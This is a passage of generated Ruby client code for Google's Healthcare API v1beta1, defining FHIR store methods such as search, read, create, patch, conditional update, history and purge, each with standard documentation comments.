# constrain these searches using Observation search parameters such as
# `_lastUpdated` or `date`.
# On success, the response body will contain a JSON-encoded representation
# of a `Bundle` resource of type `searchset`, containing the results of the
# operation.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] parent
# Name of the FHIR store to retrieve resources from.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def observation_project_location_dataset_fhir_store_fhir_lastn(parent, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/fhir/Observation/$lastn', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# On success, the response body will contain a JSON-encoded representation
# of a `Bundle` resource of type `searchset`, containing the results of the
# operation.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] name
# Name of the `Patient` resource for which the information is required.
# @param [Fixnum] _count
# Maximum number of resources in a page. Defaults to 100.
# @param [String] _page_token
# Used to retrieve the next or previous page of results
# when using pagination. Value should be set to the value of page_token set
# in next or previous page links' urls. Next and previous page are returned
# in the response bundle's links field, where `link.relation` is "previous"
# or "next".
# Omit `page_token` if no previous request has been made.
# @param [String] end_
# The response includes records prior to the end date. If no end date is
# provided, all records subsequent to the start date are in scope.
# @param [String] start
# The response includes records subsequent to the start date. If no start
# date is provided, all records prior to the end date are in scope.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def patient_project_location_dataset_fhir_store_fhir_everything(name, _count: nil, _page_token: nil, end_: nil, start: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}/$everything', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['name'] = name unless name.nil?
command.query['_count'] = _count unless _count.nil?
command.query['_page_token'] = _page_token unless _page_token.nil?
command.query['end'] = end_ unless end_.nil?
command.query['start'] = start unless start.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes all the historical versions of a resource (excluding the current
# version) from the FHIR store. To remove all versions of a resource, first
# delete the current version and then call this method.
# This is not a FHIR standard operation.
# @param [String] name
# The name of the resource to purge.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def resource_project_location_dataset_fhir_store_fhir_purge(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}/$purge', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the FHIR [capability
# statement](http://hl7.org/implement/standards/fhir/STU3/capabilitystatement.
# html)
# for the store, which contains a description of functionality supported by
# the server.
# Implements the FHIR standard [capabilities
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#
# capabilities).
# On success, the response body will contain a JSON-encoded representation
# of a `CapabilityStatement` resource.
# @param [String] name
# Name of the FHIR store to retrieve the capabilities for.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def capabilities_project_location_dataset_fhir_store_fhir(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}/fhir/metadata', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes FHIR resources that match a search query.
# Implements the FHIR standard [conditional delete
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#2.21.0.13.
# 1).
# If multiple resources match, all of them will be deleted.
# Search terms are provided as query parameters following the same pattern as
# the search method.
# Note: Unless resource versioning is disabled by setting the
# disable_resource_versioning flag
# on the FHIR store, the deleted resources will be moved to a history
# repository that can still be retrieved through vread
# and related methods, unless they are removed by the
# purge method.
# @param [String] parent
# The name of the FHIR store this resource belongs to.
# @param [String] type
# The FHIR resource type to delete, such as Patient or Observation. For a
# complete list, see the [FHIR Resource
# Index](http://hl7.org/implement/standards/fhir/STU3/resourcelist.html).
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def conditional_project_location_dataset_fhir_store_fhir_delete(parent, type, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+parent}/fhir/{+type}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['parent'] = parent unless parent.nil?
command.params['type'] = type unless type.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# If a resource is found based on the search criteria specified in the query
# parameters, updates part of that resource by applying the operations
# specified in a [JSON Patch](http://jsonpatch.com/) document.
# Implements the FHIR standard [conditional patch
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#patch).
# Search terms are provided as query parameters following the same pattern as
# the search method.
# If the search criteria identify more than one match, the request will
# return a `412 Precondition Failed` error.
# The request body must contain a JSON Patch document, and the request
# headers must contain `Content-Type: application/json-patch+json`.
# On success, the response body will contain a JSON-encoded representation
# of the updated resource, including the server-assigned version ID.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] parent
# The name of the FHIR store this resource belongs to.
# @param [String] type
# The FHIR resource type to update, such as Patient or Observation. For a
# complete list, see the [FHIR Resource
# Index](http://hl7.org/implement/standards/fhir/STU3/resourcelist.html).
# @param [Google::Apis::HealthcareV1beta1::HttpBody] http_body_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def conditional_project_location_dataset_fhir_store_fhir_patch(parent, type, http_body_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:patch, 'v1beta1/{+parent}/fhir/{+type}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.request_object = http_body_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['type'] = type unless type.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# If a resource is found based on the search criteria specified in the query
# parameters, updates the entire contents of that resource.
# Implements the FHIR standard [conditional update
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#cond-
# update).
# Search terms are provided as query parameters following the same pattern as
# the search method.
# If the search criteria identify more than one match, the request will
# return a `412 Precondition Failed` error.
# If the search criteria identify zero matches, and the supplied resource
# body contains an `id`, and the FHIR store has
# enable_update_create set, creates the
# resource with the client-specified ID. If the search criteria identify zero
# matches, and the supplied resource body does not contain an `id`, the
# resource will be created with a server-assigned ID as per the
# create method.
# The request body must contain a JSON-encoded FHIR resource, and the request
# headers must contain `Content-Type: application/fhir+json`.
# On success, the response body will contain a JSON-encoded representation
# of the updated resource, including the server-assigned version ID.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] parent
# The name of the FHIR store this resource belongs to.
# @param [String] type
# The FHIR resource type to update, such as Patient or Observation. For a
# complete list, see the [FHIR Resource
# Index](http://hl7.org/implement/standards/fhir/STU3/resourcelist.html).
# Must match the resource type in the provided content.
# @param [Google::Apis::HealthcareV1beta1::HttpBody] http_body_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def conditional_project_location_dataset_fhir_store_fhir_update(parent, type, http_body_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:put, 'v1beta1/{+parent}/fhir/{+type}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.request_object = http_body_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['type'] = type unless type.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a FHIR resource.
# Implements the FHIR standard [create
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#create),
# which creates a new resource with a server-assigned resource ID.
# Also supports the FHIR standard [conditional create
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#ccreate),
# specified by supplying an `If-None-Exist` header containing a FHIR search
# query. If no resources match this search query, the server processes the
# create operation as normal.
# The request body must contain a JSON-encoded FHIR resource, and the request
# headers must contain `Content-Type: application/fhir+json`.
# On success, the response body will contain a JSON-encoded representation
# of the resource as it was created on the server, including the
# server-assigned resource ID and version ID.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] parent
# The name of the FHIR store this resource belongs to.
# @param [String] type
# The FHIR resource type to create, such as Patient or Observation. For a
# complete list, see the [FHIR Resource
# Index](http://hl7.org/implement/standards/fhir/STU3/resourcelist.html).
# Must match the resource type in the provided content.
# @param [Google::Apis::HealthcareV1beta1::HttpBody] http_body_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_project_location_dataset_fhir_store_fhir(parent, type, http_body_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/fhir/{+type}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.request_object = http_body_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.params['type'] = type unless type.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes a FHIR resource.
# Implements the FHIR standard [delete
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#delete).
# Note: Unless resource versioning is disabled by setting the
# disable_resource_versioning flag
# on the FHIR store, the deleted resources will be moved to a history
# repository that can still be retrieved through vread
# and related methods, unless they are removed by the
# purge method.
# @param [String] name
# The name of the resource to delete.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset_fhir_store_fhir(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Executes all the requests in the given Bundle.
# Implements the FHIR standard [batch/transaction
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#
# transaction).
# Supports all interactions within a bundle, except search. This method
# accepts Bundles of type `batch` and `transaction`, processing them
# according to the [batch processing
# rules](http://hl7.org/implement/standards/fhir/STU3/http.html#2.21.0.17.1)
# and [transaction processing
# rules](http://hl7.org/implement/standards/fhir/STU3/http.html#2.21.0.17.2).
# The request body must contain a JSON-encoded FHIR `Bundle` resource, and
# the request headers must contain `Content-Type: application/fhir+json`.
# For a batch bundle or a successful transaction the response body will
# contain a JSON-encoded representation of a `Bundle` resource of type
# `batch-response` or `transaction-response` containing one entry for each
# entry in the request, with the outcome of processing the entry. In the
# case of an error for a transaction bundle, the response body will contain
# a JSON-encoded `OperationOutcome` resource describing the reason for the
# error. If the request cannot be mapped to a valid API method on a FHIR
# store, a generic GCP error might be returned instead.
# @param [String] parent
# Name of the FHIR store in which this bundle will be executed.
# @param [Google::Apis::HealthcareV1beta1::HttpBody] http_body_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def execute_project_location_dataset_fhir_store_fhir_bundle(parent, http_body_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/fhir', options)
command.request_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.request_object = http_body_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists all the versions of a resource (including the current version and
# deleted versions) from the FHIR store.
# Implements the per-resource form of the FHIR standard [history
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#history).
# On success, the response body will contain a JSON-encoded representation
# of a `Bundle` resource of type `history`, containing the version history
# sorted from most recent to oldest versions.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] name
# The name of the resource to retrieve.
# @param [String] _at
# Only include resource versions that were current at some point during the
# time period specified in the date time value. The date parameter format is
# yyyy-mm-ddThh:mm:ss[Z|(+|-)hh:mm]
# Clients may specify any of the following:
# * An entire year: `_at=2019`
# * An entire month: `_at=2019-01`
# * A specific day: `_at=2019-01-20`
# * A specific second: `_at=2018-12-31T23:59:58Z`
# @param [Fixnum] _count
# The maximum number of search results on a page. Defaults to 1000.
# @param [String] _page_token
# Used to retrieve the first, previous, next, or last page of resource
# versions when using pagination. Value should be set to the value of
# `_page_token` set in next or previous page links' URLs. Next and previous
# page are returned in the response bundle's links field, where
# `link.relation` is "previous" or "next".
# Omit `_page_token` if no previous request has been made.
# @param [String] _since
# Only include resource versions that were created at or after the given
# instant in time. The instant in time uses the format
# YYYY-MM-DDThh:mm:ss.sss+zz:zz (for example 2015-02-07T13:28:17.239+02:00 or
# 2017-01-01T00:00:00Z). The time must be specified to the second and
# include a time zone.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def history_project_location_dataset_fhir_store_fhir(name, _at: nil, _count: nil, _page_token: nil, _since: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}/_history', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['name'] = name unless name.nil?
command.query['_at'] = _at unless _at.nil?
command.query['_count'] = _count unless _count.nil?
command.query['_page_token'] = _page_token unless _page_token.nil?
command.query['_since'] = _since unless _since.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates part of an existing resource by applying the operations specified
# in a [JSON Patch](http://jsonpatch.com/) document.
# Implements the FHIR standard [patch
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#patch).
# The request body must contain a JSON Patch document, and the request
# headers must contain `Content-Type: application/json-patch+json`.
# On success, the response body will contain a JSON-encoded representation
# of the updated resource, including the server-assigned version ID.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] name
# The name of the resource to update.
# @param [Google::Apis::HealthcareV1beta1::HttpBody] http_body_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def patch_project_location_dataset_fhir_store_fhir(name, http_body_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:patch, 'v1beta1/{+name}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.request_object = http_body_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the contents of a FHIR resource.
# Implements the FHIR standard [read
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#read).
# Also supports the FHIR standard [conditional read
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#cread)
# specified by supplying an `If-Modified-Since` header with a date/time value
# or an `If-None-Match` header with an ETag value.
# On success, the response body will contain a JSON-encoded representation
# of the resource.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] name
# The name of the resource to retrieve.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def read_project_location_dataset_fhir_store_fhir(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Searches for resources in the given FHIR store according to criteria
# specified as query parameters.
# Implements the FHIR standard [search
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#search)
# using the search semantics described in the [FHIR Search
# specification](http://hl7.org/implement/standards/fhir/STU3/search.html).
# Supports three methods of search defined by the specification:
# * `GET [base]?[parameters]` to search across all resources.
# * `GET [base]/[type]?[parameters]` to search resources of a specified
# type.
# * `POST [base]/[type]/_search?[parameters]` as an alternate form having
# the same semantics as the `GET` method.
# The `GET` methods do not support compartment searches. The `POST` method
# does not support `application/x-www-form-urlencoded` search parameters.
# On success, the response body will contain a JSON-encoded representation
# of a `Bundle` resource of type `searchset`, containing the results of the
# search.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# The server's capability statement, retrieved through
# capabilities, indicates the search parameters
# that are supported on each FHIR resource. For the list of search
# parameters for STU3, see the
# [STU3 FHIR Search Parameter
# Registry](http://hl7.org/implement/standards/fhir/STU3/searchparameter-
# registry.html).
# Supported search modifiers: `:missing`, `:exact`, `:contains`, `:text`,
# `:in`, `:not-in`, `:above`, `:below`, `:[type]`, `:not`, and `:recurse`.
# Supported search result parameters: `_sort`, `_count`, `_include`,
# `_revinclude`, `_summary=text`, `_summary=data`, and `_elements`.
# The maximum number of search results returned defaults to 100, which can
# be overridden by the `_count` parameter up to a maximum limit of 1000. If
# there are additional results, the returned `Bundle` will contain
# pagination links.
# Resources with a total size larger than 5MB or a field count larger than
# 50,000 might not be fully searchable as the server might trim its generated
# search index in those cases.
# Note: FHIR resources are indexed asynchronously, so there might be a slight
# delay between the time a resource is created or changes and when the change
# is reflected in search results.
# @param [String] parent
# Name of the FHIR store to retrieve resources from.
# @param [Google::Apis::HealthcareV1beta1::SearchResourcesRequest] search_resources_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def search_fhir_resources(parent, search_resources_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/fhir/_search', options)
command.request_representation = Google::Apis::HealthcareV1beta1::SearchResourcesRequest::Representation
command.request_object = search_resources_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::HttpBody::Representation
command.response_class = Google::Apis::HealthcareV1beta1::HttpBody
command.params['parent'] = parent unless parent.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates the entire contents of a resource.
# Implements the FHIR standard [update
# interaction](http://hl7.org/implement/standards/fhir/STU3/http.html#update).
# If the specified resource does
# not exist and the FHIR store has
# enable_update_create set, creates the
# resource with the client-specified ID.
# The request body must contain a JSON-encoded FHIR resource, and the request
# headers must contain `Content-Type: application/fhir+json`. The resource
# must contain an `id` element having an identical value to the ID in the
# REST path of the request.
# On success, the response body will contain a JSON-encoded representation
# of the updated resource, including the server-assigned version ID.
# Errors generated by the FHIR store will contain a JSON-encoded
# `OperationOutcome` resource describing the reason for the error. If the
# request cannot be mapped to a valid API method on a FHIR store, a generic
# GCP error might be returned instead.
# @param [String] name
# The name of the resource to update.
# @param [Google::Apis::HealthcareV1beta1::HttpBody] http_body_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::HttpBody] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::HttpBody]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
